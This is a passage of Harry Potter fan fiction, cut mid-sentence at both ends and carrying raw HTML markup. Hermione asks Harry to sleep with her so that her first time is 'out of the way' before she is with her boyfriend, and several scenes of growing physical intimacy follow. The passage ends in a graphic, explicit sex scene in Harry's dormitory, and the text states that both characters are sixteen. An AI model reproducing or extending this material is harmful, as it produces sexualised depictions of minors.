let him watch) and a few hushed discussions they had at school. His most reliable information came from Ron\'s brothers deciding it was time for Harry to learn the facts of life.<br>\n\n<br> &quot;And?&quot;<br>\n\n<br> &quot;I would like to get that part over with before I do it with him,&quot; she said in her usual matter-of-fact tone.<br>\n\n<br> When it finally dawned on him exactly what she was getting at, his eyes grew even wider. Hermione had actually been planning this and studying up on it and she was asking him . . . maybe he was confused. Maybe he was reading her all wrong.<br>\n\n<br> &quot;And?&quot; he asked, hoping she\'d go on and clear it all up once and for all. She did, but after that the words didn\'t come so easily to her.<br>\n\n<br> &quot;I\'d like you . . . with you. I\'d like to try it out and with . . . you,&quot; she said, her hands moving quickly now as she jumbled up her words. <br>\n\n<br> &quot;Try it out? With me? Like I\'m some musty old broomstick you want to take out for a test flight?&quot; he asked and she shook her head.<br>\n\n<br> &quot;No, it\'s not like that at all,&quot; she said.<br>\n\n<br> He felt that he needed to sit down if this conversation was going to continue. She followed him to their usual spot and sat down close to him, both of them shivering now.<br>\n\n<br> &quot;Why me?&quot; he asked and she stared out at the lake for a long while before saying anything else.<br>\n\n<br> &quot;Aren\'t you at least a little bit curious about it all? About what it\'s like?&quot; she asked.<br>\n\n<br> &quot;Of course I am but . . . how do you know I haven\'t already?&quot; he asked, slightly offended that she didn\'t even stop to consider that maybe he had.<br>\n\n<br> &quot;Come on, Harry, I know you and your luck with girls. But if you don\'t want to, I could ask Ron,&quot; she said, and for some reason, that made his stomach flip flop. The thought of her and Ron . . . of Ron getting that. . . he didn\'t know what he thought of it.<br>\n\n<br> &quot;Why didn\'t you?&quot; Harry asked.<br>\n\n<br> &quot;Because of Ron\'s feelings towards me. With you, it\'s different. You don\'t think of me like that,&quot; she said.<br>\n\n<br> &quot;I don\'t?&quot; he asked.<br>\n\n<br> &quot;Of course not. If you did, then after we kissed . . .&quot; she trailed off as he sighed. Their one kiss. A secret, something never to be mentioned though he never knew why. &quot;You don\'t, do you?&quot;<br>\n\n<br> &quot;Of course not,&quot; he said because that seemed to be what she most wanted to hear.<br>\n\n<br> &quot;Then the answer is yes?&quot;<br>\n\n<br> Something very primal and teenage rose up in him and he wanted to say yes but he stopped himself. If she cared for this Drew as much as she said she did, why would she be worried about the first time? He stared at Hermione and she must have grown uncomfortable because she looked away.<br>\n\n<br> &quot;Can I think about it? For just a day? Unless you planned on -- you weren\'t thinking we\'d do it now?&quot; he asked and she let out an exasperated sigh before getting up.<br>\n\n<br> &quot;Most other boys wouldn\'t have to think about it,&quot; she said, leaving him there at the side of the lake.<br>\n\n<br> It was then that he realized maybe all those people were right. Maybe he just wasn\'t most other boys.<br>\n\n<br> *************<br>\n\n<br> He watched her across the common room, talking to Ron. They laughed at something and he felt a little pang of jealousy move through him. Maybe she was asking him now since Harry said he needed a day to think about it.<br>\n\n<br> It.<br>\n\n<br> Just thinking about it sent a warm tingle racing through him and he was sure he was blushing. He held up his spell book so they wouldn\'t be able to see his face but he could still see them over top of it. Listening carefully, Harry only relaxed when he realized that Hermione wasn\'t asking Ron what she had asked him.<br>\n\n<br> He stared at his homework without reading a single word of it. Instead, he tried to figure out why he would care if Hermione did ask Ron or any one else for that matter. It\'s not like she would ever be his, not when she had the remarkable Drew to go home to. Now he wished he had listened to more of her and Ginny\'s discussions about this Drew person. How long did she know him at home, anyway? A few weeks? A month at the most? Not long enough, that was sure. And why was he so damn jealous of everybody else when he was the one she asked? That had to mean something, didn\'t it?<br>\n\n<br> Instead of thinking anymore about all these feelings he had swimming through him, he tried harder to study his book. Before he knew it, the room had grown quiet as most of his house members had gone up to bed. He put the book down and found that there was only one person left there with him. Hermione was staring directly at him and he found himself blushing again. Until she suggested that they do this . . . do it . . . had he ever thought of her like that before? Yes, he supposed he had even if he would never admit it. That one kiss had certainly kept him up all night. Or maybe that was due to the fact that he had almost been killed. Again. And he had gotten Sirius killed and nearly cost all his friends their lives.<br>\n\n<br> &quot;So?&quot; she asked, cocking her head to the side.<br>\n\n<br> &quot;Yes,&quot; he said, this time without any hesitation and her mouth dropped open a little. He fought this urge to get up and kiss her to seal the deal but that wasn\'t what this was about. &quot;So, when?&quot;<br>\n\n<br> &quot;When what?&quot; she asked as if she had forgotten what this was all about in the first place.<br>\n\n<br> &quot;When did you want to . . .&quot; he started to ask but she cut him off with a rather loud \'shush!\'<br>\n\n<br> &quot;Do you want people to hear?&quot; she asked, looking around the empty room. A sudden look of realization replaced the one of slight shock and she hurried over to her books and pulled out her schedule. Harry knew it well. Hermione always had everything mapped out on a schedule and it would all probably go as exactly as she had planned if he and Ron didn\'t go mucking things up.<br>\n\n<br> Sitting down close to him, she started looking through all her notes until she came to the right page. Funny how Harry had never really noticed that her hair was so different from when they first met. It no longer constantly flew out in every direction but was often smoothed down. He reached out and touched it, expecting her to pull away. She didn\'t. Instead, she gave him this odd look as she brushed his hand away.<br>\n\n<br> &quot;Is something wrong?&quot; she asked, touching her hair where his hand had just been.<br>\n\n<br> &quot;No, not at all. What do we have here?&quot; he asked, looking at her schedule. She was still calculating something, counting off days or hours or minutes on her fingers as she mapped everything out. Finally, she came up with an answer for him.<br>\n\n<br> &quot;I think the best time, considering we\'re hardly ever alone, would be when everyone else is off at Hogsmeade. We\'ll make an excuse . . .&quot;<br>\n\n<br> &quot;And miss an outing to Hogsmeade?&quot; Harry asked, his voice rising in surprise. She rolled her eyes at him and made a sound of exasperation.<br>\n\n<br> &quot;Priorities, Harry. What\'s more important? Getting this out of the way or visiting Honeyduke\'s?&quot; Hermione asked and he looked at the fire for a moment.<br>\n\n<br> &quot;You make it sound like it\'s going to be a dreadful chore,&quot; he said, slightly disappointed that she thought so.<br>\n\n<br> &quot;I\'m sorry. I\'m sure it won\'t be for you anyway,&quot; she said and now he looked back at her. Of course Hermione would think everything she read in some book was true and that this was going to be the most miserable thing she had ever done in her life. Why else would she go about doing it with him instead of her beloved Drew? He would be the one having all the fun while Harry got to deal with Hermione and whatever it was that she read in some book.<br>\n\n<br> &quot;So, that\'s the plan?&quot; he asked, knowing that was far too simple for Hermione.<br>\n\n<br> &quot;Part of it but we can go over the rest of it later,&quot; she said, closing up her notes when he tried to take a peek at them. &quot;Do you have any clue what you\'re doing?&quot;<br>\n\n<br> &quot;Yes,&quot; he lied. Maybe it wasn\'t so much a lie, since he had more than a clue about the biological functions of it all but the rest of it -- whatever it was that made everybody carry on about it -- he wasn\'t so sure about.<br>\n\n<br> &quot;I\'m certain we can figure it out,&quot; she said, yawning. &quot;Remember, Saturday before the holidays. That will be the day. You will remember, won\'t you? You won\'t go and make any plans with Ron?&quot;<br>\n\n<br> &quot;I\'ll remember,&quot; he answered.<br>\n\n<br> She gathered her belongings together and said goodnight before heading towards her room. Harry sat there wondering how on earth she could think he\'d ever forget that particular date.<br>\n\n<br> *************<br>\n\n<br> For the first time in ages, Harry\'s dreams didn\'t focus on schoolwork, Quidditch or Voldemort. No, Hermione was quite prominent in his latest dream and he woke up with a start, hoping he didn\'t blurt anything out in his sleep. As far as he could tell, everyone was still sleeping soundly. After tossing and turning for half an hour, he gave up on falling back to sleep and went quietly to the common room.<br>\n\n<br> Sitting at the table, reading something while lazily stroking her cat, was the star of his dream. He stopped, thinking he could still sneak back into his room without her noticing. He had taken one step backwards when Crookshanks turned towards him and let out a meow. Hermione looked up at Harry and shoved whatever she was reading away quickly.<br>\n\n<br> &quot;Can\'t sleep?&quot; she asked and he nodded. She wiped the back of her hand over a tired eye. &quot;Worried about something?&quot;<br>\n\n<br> &quot;What on earth could I possibly be worried about?&quot; he asked, sitting down in front of the fire. In a moment, she joined him, carrying Crookshanks in her arms.<br>\n\n<br> &quot;I don\'t want you to feel pressured,&quot; Hermione said and Harry wanted to laugh. No, no pressure at all. A friend asked for a favor and he said yes. Nothing to it. Nothing at all.<br>\n\n<br> &quot;It\'s only you, Hermione. It\'s not like I have to face Vol-&quot;<br>\n\n<br> &quot;What do you mean it\'s only me?&quot; she interrupted. <br>\n\n<br> &quot;Isn\'t that how you feel? It\'s only me so there\'s nothing to be worried about. Isn\'t that why you asked me in the first place?&quot; he asked and Hermione rolled her eyes at him.<br>\n\n<br> &quot;No, I asked you because you\'re my best friend. I trust you with my life,&quot; she said. It was funny how that didn\'t cause him any pressure but the other thing did. Getting through the absolute worst life had to toss at them seemed to be commonplace now. Having sex with his best friend was something else entirely.<br>\n\n<br> &quot;I just feel funny, you know, jumping straight into it and all,&quot; Harry said and Hermione took a moment to think about that before coming up with the only practical answer.<br>\n\n<br> &quot;We could try kissing again. Just to see how that turns out,&quot; she said in a voice that made it sound an awful lot like an experiment that could go wrong. Maybe that was just Hermione and it had nothing to do with him. He wondered if she said things like that to her boyfriend and what he thought of it. At least Harry had the advantage of knowing Hermione for years.<br>\n\n<br> &quot;We could,&quot; Harry said and as if on cue, Crookshanks jumped off of Hermione\'s lap, allowing them to move closer to each other. They fumbled with where to put their hands and finally he decided if it worked once before with her, it would work again this time. He held her one hand while the other gently pulled her face towards his. Once they finally got it, it was one of the best experiments Harry could remember being involved in.<br>\n\n<br> Her lips opened under his urging, their tongues tentatively testing to see how far they could go. The answer was further than he thought and she moaned softly against his mouth. The sound coupled with the dreamlike visions still dancing around his brain fueled the fire within him and his desire grew with each passing second. Touching the fabric of her robe, he moved a hand down to one of her breasts and she didn\'t pull way. Instead, she pressed into his touch and another moan crossed her lips. Drawing her close, he felt Hermione pull her hand free from his grasp before placing it on his chest. She broke away from his mouth and he stared at her flushed face, wondering what she was going to do next.<br>\n\n<br> She licked her lips as if she was trying to memorize what he tasted like and he leaned in, wanting to remind her with another kiss. She pushed him back gently and her fingers began fumbling through the buttons on his pajamas top. The common room had grown incredibly warm but he still shivered as she shoved his top and his robe down over his shoulders. She explored his skin with her fingertips, giggling a little when the muscles in his stomach involuntarily fluttered under her touch.<br>\n\n<br> There was no way she could have missed the erection straining against the fabric of his pajamas but if she did see it, she wasn\'t letting on. She didn\'t look down or move her hand past his stomach. He wished she would because this was killing him.<br>\n\n<br> &quot;Hermione, please,&quot; he said, thinking that he sounded an awful lot like someone suffering through some excruciating form of torture. &quot;Do you want to? Now?&quot;<br>\n\n<br> She finally looked down at his lap and quickly pulled her hand away. &quot;But what about the plans?&quot; she asked as if it really mattered right now. He could care less about her plans right at the moment.<br>\n\n<br> &quot;What would the difference be? A few days?&quot; he asked, watching as she sat there shaking her head.<br>\n\n<br> &quot;It would be different,&quot; she said, turning away from him and staring into the fire. He wondered how much thought and planning she had put into this and why? He thought it was supposed to be a quick tumble to see what it\'s like. What difference would it make if it were now or later?<br>\n\n<br> &quot;Why?&quot; he said. Now he sounded like some desperate teenage boy and he wasn\'t so sure he liked it. How did she turn him into this so quickly?<br>\n\n<br> &quot;It just would be.&quot;<br>\n\n<br> &quot;Then we\'ll wait,&quot; he said, trying to figure out how to escape to the boy\'s bathroom without her knowing why exactly.<br>\n\n<br> She attempted to straighten out her hair as he pulled his shirt and robe back on. They sat there in uncomfortable silence for a minute before she kissed him goodnight and rushed up to her room, leaving behind all her books. He was tempted to look at the note she hid when he first came into the room but he didn\'t have the nerve. It was probably just some sappy love letter from her boyfriend. Instead, he made his way to the bathroom, hoping no one else would have to use it in the next few minutes.<br>\n\n<br> *************<br>\n\n<br> &quot;Hello, Harry,&quot; Hermione said rather stiffly.<br>\n\n<br> &quot;Hello, Hermione,&quot; he said in return.<br>\n\n<br> She sat down opposite him at the table in the great hall and opened a book, barely even picking at her food. He just shoved his last piece of bacon around his plate and watched her read, wondering why this was so uncomfortable. If it\'s uncomfortable now, he thought, just wait until after they\'ve actually done it.<br>\n\n<br> Harry caught Ron looking at the two of them and rolling his eyes. &quot;Are you two fighting about something?&quot;<br>\n\n<br> &quot;No,&quot; they both said at the same time. Hermione\'s eyes came up off the page and he thought she smiled at him just a little.<br>\n\n<br> &quot;Are you two up to something? You\'re acting awfully suspicious,&quot; Ron said and Harry dropped his fork with a clatter against the plate.<br>\n\n<br> &quot;No,&quot; they both said again and this time she did smile at him.<br>\n\n<br> &quot;You are, too! Let me in on it! What kind of plans are you two making?&quot; Ron asked, assuming that they had some sort of mystery to solve or trouble to get out of. There was no way he could ever know about what was really going on.<br>\n\n<br> &quot;It has to do with . . . your . . .&quot; Hermione started, looking imploringly at Harry.<br>\n\n<br> &quot;Your Christmas present . . . and how . . . we\'re going to . . .&quot; Harry added, not knowing where to go next.<br>\n\n<br> &quot;Afford it. Or get in up into the room,&quot; Hermione finished and now Ron looked puzzled. The only one who looked more puzzled was Harry because now he was going to have to figure out what to get Ron that was expensive and hard to get into the room.<br>\n\n<br> &quot;Oh! I can\'t wait! Can you give me a hint?&quot; Ron asked and Hermione gave Harry an exasperated look.<br>\n\n<br> &quot;Absolutely not,&quot; Hermione said. &quot;We wouldn\'t want to spoil the surprise.&quot;<br>\n\n<br> &quot;I bet you can hardly wait until the holidays. Going back to that boyfriend of yours and all,&quot; Ron said, still sounding a little jealous over the whole deal. Harry looked down at his untouched food, realizing that inside, he was just as jealous now.<br>\n\n<br> &quot;Yes . . . I am . . . I\'m . . .&quot; Hermione started to say and Harry looked up at her. She was staring into his eyes and he could see that she wasn\'t as excited about it as she had been in the past. Or maybe it was all just in his imagination. &quot;I\'m really looking forwards to getting home.&quot;<br>\n\n<br> Ron made a huffing sound and went back to eating his toast as Harry and Hermione continued to stare at each other over their mostly untouched meals. It wasn\'t too much longer until Hermione gathered up her books and left Ron and Harry at the table. Harry quickly made his excuses to Ron and dashed after her.<br>\n\n<br> &quot;What was that about?&quot; Harry asked, catching up to Hermione in the corridor.<br>\n\n<br> &quot;What was what about? You started the story about the Christmas present. What was I supposed to say?&quot; she asked and he just shook his head.<br>\n\n<br> &quot;Any suggestions on what we can buy him? You know this means we have to go to Hogsmeade now so you better start rearranging your plans,&quot; Harry said and Hermione looked rather discouraged at that news. It wasn\'t long until her face lit up, having worked through the problem.<br>\n\n<br> &quot;We\'ll go and tell Ron that we have to do some shopping together. Alone. If he thinks it\'s for him, he won\'t complain,&quot; Hermione said. &quot;I\'ll come back here to get ready and you can pick something up for him at Zonk\'s or Dervish and Banges.&quot;<br>\n\n<br> &quot;Get ready?&quot; he asked and she rolled her eyes at him. &quot;What on earth would you have to get ready for?&quot;<br>\n\n<br> She stopped walking and he had to take a few steps back to where she was standing. Now she was pouting a little and that wasn\'t something Harry was used to. It was almost as if she expected him to know what she was thinking. Almost as if they were . . . boyfriend and girlfriend.<br>\n\n<br> &quot;Nothing. I don\'t have to get ready for anything,&quot; she said, replacing the pout quickly with her normal expression. &quot;It\'s just a quick shag, isn\'t it? Nothing more.&quot;<br>\n\n<br> &quot;I guess so,&quot; he said, fighting back the hope that maybe it could be or should be more. &quot;Just a quick shag between friends. Just to see what it\'s like.&quot;<br>\n\n<br> &quot;Yes, that\'s the only reason,&quot; Hermione said, looking at him intently. Harry found it quite odd that there was no mention of Drew. That was what this had been about at one time. She wanted to do it with Harry so it would be perfect for Drew. Now, something had changed. Maybe it was something more. &quot;We\'re going to be late.&quot;<br>\n\n<br> Harry realized he was now standing in a nearly empty hall, the rest of the students already in their classrooms. Hermione told him again that they were going to be late before she grabbed his arm, pulling him towards their destination.<br>\n\n<br> ***********<br>\n\n<br> Somehow, Harry kept finding new reasons to meet Hermione in the common room in the middle of the night. They usually ended up kissing and fooling around on the biggest couch in front of the fire until all hours, thankful that they were never caught by any fellow housemates. No one ever said anything about Hermione staying up so late as they probably just assumed she was studying like usual. If anyone noticed that Harry was gone half the night lately, no one said a word.<br>\n\n<br> On this particular night, she was resting against him, nestled between his thighs, both of their faces turned to the crackling fire. Occasionally, his hands would wander around, moving over the swell of her breasts and she didn\'t seem to mind. Actually, he could swear she was pressing further back into him, and he knew she had to be able to feel just how aroused she was making him. Still, she insisted they stick to her original plan.<br>\n\n<br> The problem was, he was now feeling more than just a little jealous about some aspects of the plan. Especially that part of the plan that included her going home to the person she called her boyfriend. The whole situation was confusing the hell out of him. Here she was in his arms every night and would soon be in his bed, yet he knew that she still discussed Drew with Ginny. At least she was kind enough not to mention his name in front of Harry.<br>\n\n<br> Maybe it was the fact that he was never this physically close to anyone in his life or at least the life he could remember. No one ever touched him in the Dursley household unless it was Dudley beating him up. There was a girl in primary school who held his hand one day but the next day she had moved onto an older boy. Too many years had gone by without this and now he craved it and not just from anyone. He craved it from Hermione and that was a problem. How long would she be willing to give this to him? She didn\'t need it like he did. She had others who loved her.<br>\n\n<br> Hermione turned over and with one quick movement, was straddling him while leaning in for a kiss. The feel of her pressing against his body was almost enough to send him running to the bathroom for relief but he forced himself to endure this. It wasn\'t that much longer until he would know what she felt like everywhere and he couldn\'t help but smile against her lips.<br>\n\n<br> &quot;What\'s so funny?&quot; she asked, breaking their kiss. Her face was flushed and he didn\'t know if she was aware of the movement she was making with her hips or just how very close they were.<br>\n\n<br> &quot;Nothing. Nothing and everything,&quot; he said and she sat up on him, looking puzzled. He wanted to tell her just how he felt but he held back, sure that if he said a word she would run off and not come back for more of this. There was a niggling thought in the back of his mind that he deserved better than all of this but he pushed it away. Maybe this is exactly what he deserved. At one point in his life, it would have been more than he could have ever expected.<br>\n\n<br> &quot;You\'re still smiling,&quot; she said and indeed he was.<br>\n\n<br> &quot;Maybe you don\'t realize just how good that feels,&quot; he said and she froze in place, suddenly aware of her actions. In another second, she was up and off of him and he quickly grabbed for his robe to cover up his lap.<br>\n\n<br> &quot;I\'m sorry. It\'s just not now . . . the plans and all,&quot; she said.<br>\n\n<br> &quot;The bloody plans,&quot; he said with more than a trace of contempt for those plans apparent in his voice.<br>\n\n<br> &quot;Maybe it would be for the best if we went to bed now. Our own beds, of course. Separately,&quot; she said and he nodded in agreement. &quot;And not meet here again until . . . you know.&quot;<br>\n\n<br> That he wasn\'t so much in agreement on but it was only a few days now. He could wait for her and her infernal plans for a few days.<br>\n\n<br>\n\n<br> *************<br>\n\n<br> Harry and Hermione walked around Hogsmeade, their expressions alternating between giddy and petrified. When anyone called their names, they jumped as if they were found guilty of doing something they shouldn\'t be. Harry then realized he didn\'t know if there were any rules at Hogwarts about what they were going to do. If they were caught, what would happen to them? Probably just a letter home to their parents (or guardians in his case) and a lecture on the consequences of their actions. He was also quite sure that Hermione would have checked up on the rules before she even suggested any of this.<br>\n\n<br> And speaking of consequences, he totally forgot about one thing. This did come with consequences and he knew a little about avoiding such things but that was in the Muggle world. Harry grabbed Hermione\'s hand and pulled her aside down one of the alleys between buildings.<br>\n\n<br> &quot;What\'s wrong? Have you changed your mind?&quot; she asked, looking a little terrified at the prospect.<br>\n\n<br> &quot;Are you joking? Of course not. I was just worried about . . . you know. Some sort of . . .&quot; he started but couldn\'t quite get the words out. &quot;What I\'m trying to say is I don\'t think you and I are ready to be raising little wizards just yet and I\'m almost positive Drew wouldn\'t be too pleased with the idea.&quot;<br>\n\n<br> It was the first time in a while that he mentioned that boy\'s name and he couldn\'t say it without a certain degree if ire in his tone. Hermione just rolled her eyes at him.<br>\n\n<br> &quot;Of course you wouldn\'t think of this until the last minute . . .&quot;<br>\n\n<br> &quot;It\'s not quite the last minute. I\'m sure there\'s something here at the shops . . .&quot;<br>\n\n<br> &quot;It\'s taken care of, Harry. It\'s all part of the plan and one of the reasons we needed to wait,&quot; she said, patting him on the arm reassuringly. He wanted to ask how it was taken care of but perhaps it was just better that he didn\'t know. &quot;Speaking of plans, I better be going back now. I\'ve made it so that all of your roommates will have no desire to go into your room until later even if they come back from Hogsmeade early.&quot;<br>\n\n<br> &quot;How did you do that?&quot; Harry asked but Hermione just smiled without answering. She had been studying an awful lot lately, even more than normal for their end of term exams. That must have been what she was working on. To him, it seemed like a great deal of effort to put into a quick shag that supposedly meant nothing.<br>\n\n<br> &quot;Did you figure out what you\'re getting for Ron?&quot; she asked and Harry shook his head. &quot;I\'ll have to send you something to give him if you can\'t think of anything in the next few minutes.&quot;<br>\n\n<br> &quot;I better go find him before he finds us,&quot; Harry said, looking down towards the street.<br>\n\n<br> &quot;I\'ll see you in a few minutes,&quot; she said, leaning in to give him a quick kiss. His heart was thumping so hard he found it impossible to believe she couldn\'t hear it. He watched as she walked away, pulling her cloak around her to keep out the cold air. In less than a minute, Ron did find him.<br>\n\n<br> &quot;How goes it, Harry,&quot; he called, looking confused.<br>\n\n<br> &quot;Er -- okay,&quot; Harry said, not able to focus much on anything other than Hermione.<br>\n\n<br> &quot;I saw Hermione leaving. Was she taking my present back to Hogwarts?&quot; Ron asked, sounding hopeful.<br>\n\n<br> &quot;Something like that,&quot; Harry said, walking towards the street with Ron following him. &quot;You best stay out of the room until we get it put away.&quot;<br>\n\n<br> &quot;Oh, I\'m not ready to go back yet. None of us are. Seamus and Dean are waiting for us at The Three Broomsticks if you would like to come,&quot; Ron said and Harry tried to focus on what he just asked but found he couldn\'t. &quot;Is there something wrong? Something I should know about?&quot;<br>\n\n<br> &quot;No,&quot; Harry said, shaking his head clear. &quot;Nothing bad or anything. I better go help Hermione. She said she might need help with something.&quot;<br>\n\n<br> &quot;See you later then,&quot; Ron said, not sounding too unhappy that Harry was abandoning him. Maybe Hermione took care of that, too.<br>\n\n<br> &quot;Yes, see you later,&quot; Harry said, racing away from him and back towards Hogwarts, any thought of a present for Ron long forgotten.<br>\n\n<br> *************<br>\n\n<br> He found her sitting on the edge of his bed, legs crossed at her ankles, and suddenly she looked a lot younger than her sixteen years. Suddenly, he felt a lot younger than his sixteen years. He was out of breath from rushing back to the castle and the sight of her sitting there waiting for him just added to his breathlessness. She smiled nervously and patted the bed next to her, inviting him over.<br>\n\n<br> Dropping his cloak as he walked closer, he couldn\'t help but to stare at her face. Her cheeks were still rosy from the cold but was that lipstick she was wearing? Her lips were definitely more glossy than usual and were a soft shade of pink that suited her. Like candy floss that Dudley would bring home from his trips to the amusement park.<br>\n\n<br> &quot;You look nice,&quot; he said, knowing he had to say something even though his tongue seemed to be jammed up in his mouth. She smoothed her hand over her hair and smiled nervously at him. She had changed out of her school cloak and was wearing a skirt and a jumper that clung nicely to her curves.<br>\n\n<br> &quot;I see you spent a lot of time on Ron\'s present,&quot; she said and he smiled back at her.<br>\n\n<br> &quot;I . . . couldn\'t wait another minute.&quot;<br>\n\n<br> &quot;So . . .&quot; she said.<br>\n\n<br> &quot;So . . .&quot; he said.<br>\n\n<br> &quot;This seemed so much easier out in the common room when there wasn\'t a plan,&quot; she said, sounding disappointed that all her planning and reading up on everything might be spoiling everything.<br>\n\n<br> &quot;Just relax,&quot; he said, more to himself than to her. &quot;I mean, it\'s just me.&quot;<br>\n\n<br> &quot;Right. Just you,&quot; she said, putting a hand out to touch his cheek. Her eyes grew softer as her hand brushed down and across his lips. &quot;Just Harry Potter.&quot;<br>\n\n<br> He didn\'t know what she meant by that and he didn\'t feel like asking now. What he really wanted to do was kiss her. He put his hand behind her head and drew her near, feeling her fingers slip away from his face as their mouths met. It wasn\'t long until it felt exactly like it did out in the common room. It was just them. Just Harry and Hermione and there was nothing to worry about.<br>\n\n<br> He wanted to touch her. No, needed to touch her. Sliding his hand over her body, he tugged her jumper up. She ended the kiss to allow him to pull it over her head and he couldn\'t help but to stare at her breasts. Even covered by her simple white bra, they were wonderful things. One of his hands brushed across the soft swell of flesh and she put her hand on top of his, urging him on. Everything was all instinctual now and he was sure that was the only way his body was remembering to breathe.<br>\n\n<br> Harry stopped long enough for them to move further on the bed as he pulled the red curtains closed around them. In doing so, he couldn\'t help but notice that Hermione had left her wand on his bedside table and he could only imagine what she planned on doing with it. Maybe after they were done, she would use a memory charm on him and he\'d never remember it happened. He certainly hoped that wasn\'t her plan. Or did he?<br>\n\n<br> Turning back towards Hermione, he found she had taken off her shoes and was lying on her side, watching him. Her face was flushed from more than the cold and he noticed that his hands were trembling. He was scared that he was going to mess this up so horribly that she would never speak to him again.<br>\n\n<br> Moving in next to her, they stayed like that for a few minutes, gently kissing one another as his hands slid over the curve of her breasts. With her coaxing, he managed to get the clasp undone and watched as she slowly removed it. His hands were doing more than trembling. No, they were positively shaking now. He closed his eyes and willed for them to stop.<br>\n\n<br> Harry only opened his eyes when he felt Hermione tugging on his clothes, trying to pull his sweater over his head. He sat up and helped, quickly getting off as much clothes as he could. He sent his shoes off the bed and they made a resounding clunk on the floor. It was only when he got down to unfastening his pants that he grew slightly embarrassed. It\'s only Hermione, he told himself over and over. That didn\'t seem to help. \'Only Hermione\' was now in his bed with him and that changed everything.<br>\n\n<br> &quot;Here, let me help you with that,&quot; she said, sounding incredibly calm as her hands went to work without faltering once. When she brushed up against him, he couldn\'t help but to let out a soft moan and for a second, he was worried this would end before it even started. He had to bite his lip to keep that from happening. Lifting his hips up, he slid his pants off and discarded them over the edge of the bed, leaving him wearing only a sad looking pair of old boxers. She didn\'t seem to care.<br>\n\n<br> Some primal drive took over at that point and he pulled her closer for another kiss. This time it wasn\'t just playful soft kisses but something so much deeper. Hermione\'s mouth parted under his and their tongues danced around, touching and exploring.<br>\n\n<br> His hand slid down to one of her breasts and she groaned, pushing up into his touch. Not sure what she would like next, he tried to figure it out by the sounds she made against his mouth. It was going well so far. The problem still was he was now so painfully aroused he didn\'t know how much longer he\'d be able to take it.<br>\n\n<br> She stopped kissing him when his hand traveled down further, trying to figure out how to get her pleated skirt off. After a few seconds, he gave up and just hiked the thing up as she hurriedly got out of her panties. Apparently, she was as impatient as he was because she didn\'t even bother to remove her kneesocks.<br>\n\n<br> Hermione shivered in the cold air and before they went any further, they both wriggled their way under his blankets. Harry slipped off his boxers, losing them somewhere in the sheets. They both stared at each other for a moment before she helped him move between her thighs. He fit there so perfectly that he couldn\'t imagine wanting to be in any other place for the rest of his life.<br>\n\n<br> &quot;Just . . . go slow, okay?&quot; she asked, suddenly looking rather nervous about the whole thing. She was asking the impossible of him but he knew he\'d have to try.<br>\n\n<br> &quot;You okay?&quot; he asked, his erection brushing against her warm sex, needing to be inside of her more than he needed anything else on earth. The feel of her body so close to his was amazing.<br>\n\n<br> &quot;Yes,&quot; she said and he tried his best to slide into her. After a few failed attempts, she reached between their bodies and helped guide him in. But once he was there . . . wow. He had finally found something better than Quidditch. This was better than the freedom of flying and the joy of winning. This was magic like he had never experienced before.<br>\n\n<br> &quot;Okay?&quot; he asked again and Hermione grimaced beneath him as he pushed in slowly. He felt something give way and she gasped. Somewhere in his brain, he could feel her nails digging into his back but the sensation of being held so tightly inside of her erased the pain.<br>\n\n<br> &quot;Okay,&quot; she squeaked but he could tell she wasn\'t. Moving her hands from his back, she was pressing up on his chest as if she wanted to push him off but couldn\'t quite bring herself to do it.<br>\n\n<br> &quot;Want me to stop?&quot; he asked, not sure if he would be able to at his point. He would just have to make himself stop if she asked him to.<br>\n\n<br> &quot;No,&quot; she squeaked again. He didn\'t move. Just stayed right there inside of her body trying to memorize the feel of her like this. &quot;I think for this to work, you have to move.&quot;<br>\n\n<br> &quot;Oh, yeah. Right,&quot; he said, leaning down to give her a quick kiss. It was then that he realized he was still wearing his glasses but he didn\'t care. At least that way, he could see so he could memorize all of this. He gently pulled out a little and then thrust back in as slowly as he could. Her legs wrapped up around his waist and with that, he could move in even deeper. She winced just a little as he continued to thrust into her and now he knew what she meant when she told him the first time wasn\'t always pleasant for the woman. It was certainly pleasant enough for him and he wished he could make it as good for her. That wasn\'t going to be up to him, though. Someone else was going to get that pleasure. With that thought, he stopped moving for a moment until Hermione urged him on again. Her hands were traveling slowly over his body as if she was also trying to memorize every detail. That pleased him in a funny way.<br>\n\n<br> &quot;Much longer?&quot; she asked and he shook his head. Her hands moved up and pushed his now sweaty bangs away from his forehead. He wasn\'t too sure he liked that but certainly wasn\'t in any position to fix it now.<br>\n\n<br> &quot;Not much longer,&quot; he answered and pushed into her only a few more times before it was just too much. He gasped and shuddered as he reached his release, collapsing on Hermione as the waves of pleasure washed over him. Now that was definitely better than anything he had ever felt before. That was even better than his eleventh birthday and that was a hard one to top.<br>\n\n<br> He propped himself up on his elbows as he tried to catch his breath. Hermione didn\'t look unhappy but she didn\'t exactly look like he felt.<br>\n\n<br> &quot;So, that\'s all it is? What everybody is always carrying on about so?&quot; she asked and he was sure he wasn\'t supposed to be offended by that. Maybe if it had been anyone other than Hermione asking, he would have been offended.<br>\n\n<br> &quot;I\'m sure it will get better for you,&quot; he said, sliding out of her body. A flood of wetness came with him, spreading across his sheets.<br>\n\n<br> &quot;Probably,&quot; she said, her fingers still playing with his damp hair.<br>\n\n<br> &quot;I\'m sure it will be better with someone you love,&quot; he said, feeling his heart sink with those words.<br>\n\n<br> &quot;But . . . but I do . . . I do think so, too,&quot; she said, letting her hand fall from his face. She turned her face away from his and for a brief second, he started to regret what they had just done before he told himself not to. He knew what he was doing when he agreed to this and now was not the time to start second guessing his decisions.<br>\n\n<br> He rolled off of her and watched as she opened the curtains around the bed and began gathering up her clothes. She quickly got dressed and smoothed down her skirt. He dug his shorts out of the bed and put them back on when she wasn\'t looking. The thick smell of sex and sweat permeated the room and he would have to open a window to clear it out as soon as she left.<br>\n\n<br> &quot;How long until everyone will want to get back into the room?&quot; he asked, looking at his watch.<br>\n\n<br> &quot;A few hours,&quot; she said and he wished he knew why she was leaving so soon. Instead, he watched as she walked around his bed to retrieve her wand from the table.<br>\n\n<br> &quot;You aren\'t going to charm me into not remembering any of this?&quot; he asked as she held her wand in her hand. &quot;Or would you prefer it the other way? You want me to make you forget?&quot;<br>\n\n<br> Her face twisted up as she thought about what he just said. &quot;Why would you ask that?&quot;<br>\n\n<br> &quot;You just don\'t look all that happy,&quot; he said, standing up to pull on his pants.<br>\n\n<br> &quot;It\'s not that . . . oh, never mind,&quot; she said and before he could ask her what was the problem, she gave him a kiss. Not just a quick \'goodbye, see you later\' kiss, either. This was deep and as passionate as ever and his mouth opened up under hers. Her tongue moved across his and he moaned way back in his throat. She pulled away, her eyes burning with something that was missing while they were having sex.<br>\n\n<br> &quot;I -- don\'t forget I have to give you money before you 